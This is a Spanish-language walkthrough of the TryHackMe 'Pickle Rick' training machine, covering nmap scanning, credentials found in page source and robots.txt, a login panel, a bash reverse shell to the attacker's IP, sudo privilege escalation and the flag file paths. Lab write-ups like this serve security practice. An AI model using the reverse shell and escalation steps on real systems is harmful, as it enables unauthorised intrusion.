TryHackMe - Machine - Pickle Rick v2
¡Buenas, hackers! 👋
Hoy, nos sumergimos en la máquina Pickle Rick de TryHackMe. Es un desafío clásico de nivel 🟩 Fácil, perfecto para practicar la enumeración web y la escalada de privilegios básica.
🚀 Antes de empezar
Añadimos la máquina al archivo /etc/hosts, comprobamos la conexión con ping y creamos las carpetas de trabajo
echo '10.10.34.26\tpicklerick.thm' | sudo tee -a /etc/hosts
ping -c 1 picklerick.thm
mkdir -p ~/thm/picklerick/{exploits,fuzz,http,nmap}
cd ~/thm/picklerick/
🔎 Reconocimiento
Escaneo de puertos con Nmap
Comprobamos todos los puertos que están abiertos, detectamos el servicio y su versión con nmap y generamos all.html para ver la información.
nmap -sTCV -p- -Pn -A -T4 --min-rate=1000 -vvv -oA ~/thm/picklerick/nmap/all picklerick.thm
xsltproc ~/thm/picklerick/nmap/all.xml > ~/thm/picklerick/nmap/all.html
En este punto, observamos que está el puerto 22 (SSH) y 80 (HTTP) abiertos.
🌐 Inspección del sitio web
Abrimos Firefox para inspeccionar el sitio web.
firefox http://picklerick.thm &
🕵️♂️ Puedes encontrar un nombre de usuario en el código fuente.
También se encuentra una cadena de texto al revisar el fichero robots.txt, lo que podría ser la contraseña del usuario.
curl http://picklerick.thm/robots.txt
xxxxxxxxxxxxxxxxx
🚪 Acceso Inicial (Foothold)
Está claro que debe de haber algún tipo de panel de login o similar. Probamos con los típicos login.php, access.php, etc.
Encontré login.php, probamos con las 🔑 credenciales que hemos detectado durante el reconocimiento y ¡Pummmmm estamos dentro!
Obtener shell reversa
Estuve intentando varias cargas, finalmente use el recurso Revshells para generar una carga en bash.
bash -c 'bash -i >& /dev/tcp/10.8.95.209/1337 0>&1'
🧗♂️ Escalada de privilegios
Al visualizar la salida de sudo -l podemos observar que se puede lanzar cualquier comando como sudo.
www-data@ip-10-10-34-26:/var/www/html$ sudo -l
Matching Defaults entries for www-data on ip-10-10-34-26:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ip-10-10-34-26:
(ALL) NOPASSWD: ALL
Ahora que somos root podemos mostrar el contenido de las tres flags en:
- 🥒 1 flag >
cat /var/www/html/Sup3rS3cretPickl3Ingred.txt - 🥒 2 flag >
cat /home/rick/'second ingredients' - 🥒 3 flag >
sudo cat /root/3rd.txt








